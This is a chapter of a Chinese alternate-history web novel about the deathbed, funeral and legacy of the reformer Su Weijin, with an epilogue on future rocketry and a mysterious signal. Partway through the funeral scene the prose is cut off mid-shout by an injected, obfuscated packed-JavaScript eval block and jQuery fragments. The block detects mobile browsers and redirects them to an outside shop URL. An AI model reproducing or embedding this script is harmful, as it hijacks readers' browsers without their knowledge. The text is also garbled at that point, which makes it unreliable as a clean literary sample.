天启三年，三月十八。
归真园的桃花开得晚了些，枝头才冒出零星粉白。可园子里的气氛，比倒春寒还冷。
正房的门槛被踏得发亮，大夫进进出出，个个摇头。广州城里有名的郎中请遍了，连宫里退下来的老太医都连夜用火车接来，可把完脉，都是同一句话：“油尽灯枯，准备后事吧。”
屋里，苏惟瑾躺在榻上，盖着厚棉被。七十四岁的老人，瘦得只剩一把骨头，脸上皱纹深得能夹住铜钱，可眼睛还亮着——那是超频大脑最后的光芒。
芸娘坐在床边，握着他的手，眼泪早就流干了。赵文萱、王雪茹、沈香君、陆清晏围在榻前，都老了，头发花白，眼睛红肿。
“哭什么……”苏惟瑾开口，声音嘶哑得像破风箱，“人都有这一天。”
王雪茹抹了把脸，强笑：“谁哭了？我就是……就是眼睛里进沙子了。”
苏惟瑾笑了，笑得很轻。他看向窗外，桃花在风里颤。
“承志他们……到了吗？”
“到了，都到了。”芸娘哽咽，“承志从北京回来的，承业从上海，承功……承功在美洲接到电报，正坐最快的船往回赶，怕是……怕是赶不上了。”
“赶不上好。”苏惟瑾喃喃，“见着，反倒伤心。”
门外传来脚步声。苏承志、苏承业兄弟俩进来，扑通跪在榻前。两人都是四十多岁的人了，此刻哭得像孩子。
“爹……”
苏惟瑾抬手，摸了摸两个儿子的头：“都当爹的人了，像什么样子。”
他又看向儿媳、孙子孙女——一屋子人，黑压压的。最小的曾孙才三岁，被娘抱着，懵懂地看着太爷爷。
“好，好……”苏惟瑾眼中泛起泪光，“苏家……开枝散叶了。”
正说着，外头传来急促的马蹄声。陆松冲进来，手里拿着一封电报，脸色古怪：“王爷，徐……徐阁老的电报。”
苏惟瑾示意念。
陆松展开电报，手在抖：“‘先生：闻先生病重，心如刀绞。弟本欲亲往，然年九十，不良于行，恐成累赘。唯以电报遥寄：先生一生，开千古变局，奠万世基业。身虽陨，道永存。他日泉下相见，再与先生论道。——弟光启泣拜。’”
屋里一片啜泣声。
苏惟瑾闭目片刻，忽然道：“扶我起来。”
芸娘和赵文萱把他扶起，靠在枕上。他看向满屋子的人，缓缓开口：
“我这一生，始于寒微。五岁丧父，十岁丧母，被卖为书童，差点成了别人的玩物。”
他声音不大，却清晰：
“可我运气好。赶上了时代，遇见了你们。芸娘的一饭之恩，文萱的知音之情，雪茹的仗义相助，香君的倾心相待，清晏的生死相托……还有大山、惟奇、铁柱，那些跟着我一路走过来的兄弟。”
他顿了顿：
“我做了些事。开海禁、建学堂、修铁路、通电报、种新粮……有人说我权倾朝野，有人说我功高震主。我不在乎。我在乎的是——大明的孩子能吃饱饭了，能上学堂了，百姓生病有地方治了，商人做生意有法可依了。”
他看向儿子们：
“我死后，丧事从简。不陪葬金银玉器，只放一套《新世言》与我——那是我一辈子的心血。坟头不必立碑，种棵桃树就行。”
苏承志泪流满面：“爹，陛下已经下旨，要为您建陵……”
“推了。”苏惟瑾斩钉截铁，“活着的时候没享过福，死了占那么大地方做什么？骨灰撒在白云山，让我看着这片土地。”
他又看向孙子辈：
“苏家子孙，不必为官。朝廷的路，我走过了，你们走别的。可以做学者，研究学问；做工程师，造机器；做医生，救死扶伤；做教师，教书育人——凭真本事吃饭，别靠祖荫。”
最小的曾孙忽然开口：“太爷爷，什么是……星辰大海？”
苏惟瑾笑了，笑容里满是憧憬：
“就是……比大明还大的地方。天上那些星星，每一颗都可能住着人。海那边的大陆，有高山、大河、不一样的生灵。将来啊，咱们大明的船要开到那些星星上去，火车要铺到天涯海角去……”
他声音渐弱：
“记住：这世界的未来，在科技，在教育，在法治，在每一个百姓的觉醒。皇帝会死，王朝会亡，可知识不会，文明不会……”
话没说完，他剧烈咳嗽起来。芸娘忙给他拍背，却摸到一手冷汗。
苏惟瑾缓过气，最后看了一眼窗外的桃花，又看了一眼满屋子亲人。
他握住芸娘的手，轻声说：
“这辈子……值了。”
手松开。
眼睛闭上了。
脸上还带着笑。
“呜——”
广州港所有舰船同时拉响汽笛。声音低沉，绵长，像巨兽悲鸣，在海面上传出去十几里。
港口的工人放下手里的活，码头上的商贾停下脚步，连那些扛包的苦力都直起腰，望向白云山方向。
“老王爷……走了。”
不知谁说了一句。
然后，整座港口，成千上万人，齐齐摘下帽子，低头默哀。
几乎同一时刻，从北京到广州的铁路线上，所有列车缓缓停靠在最近的车站。司机拉下汽笛，长长的鸣笛声在山川原野间回荡。
乘客们被告知原因后，没有抱怨。有人红了眼眶，有人轻声叹息，有个老秀才颤巍巍站起来，对着窗外作揖：
“王爷……一路走好。”
北京城，太和殿。
新帝朱由校接到电报时，正在批阅《格物大学增设天文系》的奏折。他看完电报，笔掉在桌上，墨汁溅了一身。
许久，他缓缓起身，走到殿外。
春日的阳光刺眼，他却觉得浑身发冷。
“传旨。”他声音沙哑，“即日起，全国降半旗七日。罢朝三日，朕要……为忠武王服孝。”
“陛下，”太监小声提醒，“按制，臣子薨，天子无服孝之礼……”
“朕就要破这个例！”朱由校猛然转身，眼中含泪，“没有忠武王，朕的父皇坐不稳江山！没有忠武王，大明哪有今天！传旨——朕以天子之身，为帝师服孝，天下人谁敢议论，让他来问朕！”
圣旨传出，举国震动。
可没人敢议论。茶馆里、酒楼上，百姓自发说起老王爷的好。
“听说没？老王爷临终前说，丧事从简，骨灰撒在白云山。”
“这才是真圣人啊！活着一心为民，死了不占寸土。”
“我家那十亩地，就是王爷推行‘新农法’后开的荒。以前种粟米，一亩收两石，现在种土豆，一亩收八石——全家吃饱了，还能余粮换钱。”
“我儿子在格物大学读书，学费全免，每月还发伙食费。王爷说‘穷人家的孩子也要读书’，真做到了……”
四月十二，葬礼。
没有棺椁，没有仪仗，只有一个紫檀木盒子，装着骨灰。苏承志捧着盒子，苏承业捧着那套《新世言》，一家人白衣素服，从归真园步行上山。
可山路两旁，早就站满了人。
广州城的百姓来了，周边的农民来了，甚至还有坐火车从外地赶来的学子、商人、工匠。黑压压的人群，从山脚排到山顶，足足五里路。
没人说话，只有压抑的啜泣声。
骨灰撒在桃林深处。新栽的桃树苗在风里轻轻摇摆。
徐光启的墓志铭刻在一块青石上，字是老头病中颤抖着手写的：
“开千古之变局，奠万世之基业。身虽陨，道永存。——弟徐光启敬立”
葬礼结束，人群久久不散。
忽然，有个老工匠站出来，从怀里掏出个铁皮喇叭——那是他自己做的，声音能传老远。
他对着山谷喊：
“王爷——您走好——”
声音在山谷间回荡。
接着，成千上万人齐声喊：
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349602|186215||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
王爷——走好——”
声震云霄。
三年后，天启六年春。
白云山桃林已经蔚然成荫。新帝朱由校微服来祭扫，只带了个小太监。
他站在青石碑前，默默烧了份《大明科技年鉴》。年鉴里记载：全国铁路里程已达八万里，电报网覆盖所有州县，电话进入寻常富户家，格物大学在各省设分校，学生总数破十万……
“师父，”他轻声道，“您说的，弟子都在做。”
正说着，远处走来个年轻人，二十出头，穿着格物大学的校服，手里拿着本《新世言》。
看见有人，年轻人愣了愣，上前行礼：“老先生也是来祭拜忠武王的？”
朱由校点头：“你也是？”
“我是格物大学天文系的学生。”年轻人眼睛发亮，“我们在研究‘火箭推进理论’，想造能飞上天的机器。教授说，这个构想，最早是忠武王在《新世言》里提出的。”
他从怀里掏出张图纸——上面画着个古怪的飞行器，尾部喷着火。
“王爷说，将来人要登上月亮。我们……想试试。”
朱由校看着图纸，眼眶发热。
他想起师父临终前的话：“星辰大海，才是征途。”
“好好干。”他拍拍年轻人肩膀，“需要什么，跟朝廷说。”
年轻人兴奋地点头，又疑惑：“老先生您是……”
“我啊，”朱由校望向远方，“就是个……不想辜负这个时代的人。”
他转身下山。夕阳把影子拉得很长。
而在他影子里，手腕上那两道雀形金纹，在暮色中微微闪烁。
十年后，天启十六年。
大明第一艘蒸汽铁甲舰“破浪号”下水，巡航南洋。
二十年后，天启二十六年。
格物大学天文台用自制望远镜，发现木星的三颗新卫星。
五十年后，崇祯三十六年（注：此时已用新历）。
大明科学院宣布“内燃机”研制成功，汽车开始取代马车。
一百年后，新历56年。
“长征一号”火箭在甘肃发射场升空，载着三名宇航员，飞向近地轨道。
发射现场，总设计师是个姓苏的中年人——苏明理的曾孙，苏惟瑾的第五代孙。
点火前，他对着话筒说：
“一百年前，我的先祖说过——星辰大海，才是征途。今天，我们出发。”
火箭腾空，烈焰划破长天。
而在地面指挥中心，大屏幕旁挂着一幅泛黄的画像——画中人穿着靛蓝直裰，笑容温和，眼中却有看穿时空的光芒。
画像下方，一行小字：
“苏惟瑾（1550-1624），思想家、科学家、改革家。他改变了一个时代，并让那个时代的光芒，照亮了此后千年的路。”
指挥中心里，年轻的操作员们仰望着火箭升空，没人注意到——
那幅画像中人的眼睛，在火箭烈焰的映照下，似乎微微眨了一下。
掌心处，一道极淡的金色纹路，一闪即逝。
像是告别。
又像是……在另一个时空的苏醒。
新历56年除夕夜，全球七大射电望远镜同时接收到一段来自深空的规律信号。
信号破译后，是一串复杂的数学公式——而公式的最终解，指向太阳系内某个坐标。
坐标位置，恰好是三百年前苏惟瑾骨灰撒放的白云山区域。
几乎同时，苏家祖宅的地下室——那间尘封百年、禁止任何人进入的“忠武王书房”，门缝里突然透出淡金色的光。
看守的老管家惊恐地发现，书房里那台早就报废的、苏惟瑾亲手组装的“原始电报机”，此刻正在自动敲击，吐出的纸条上只有一行字：“我找到了。星门坐标：赤经13h37m，赤纬-29°51′。等我回来。”
而落款的时间，赫然写着：新历156年，7月15日。
那是……一百年后。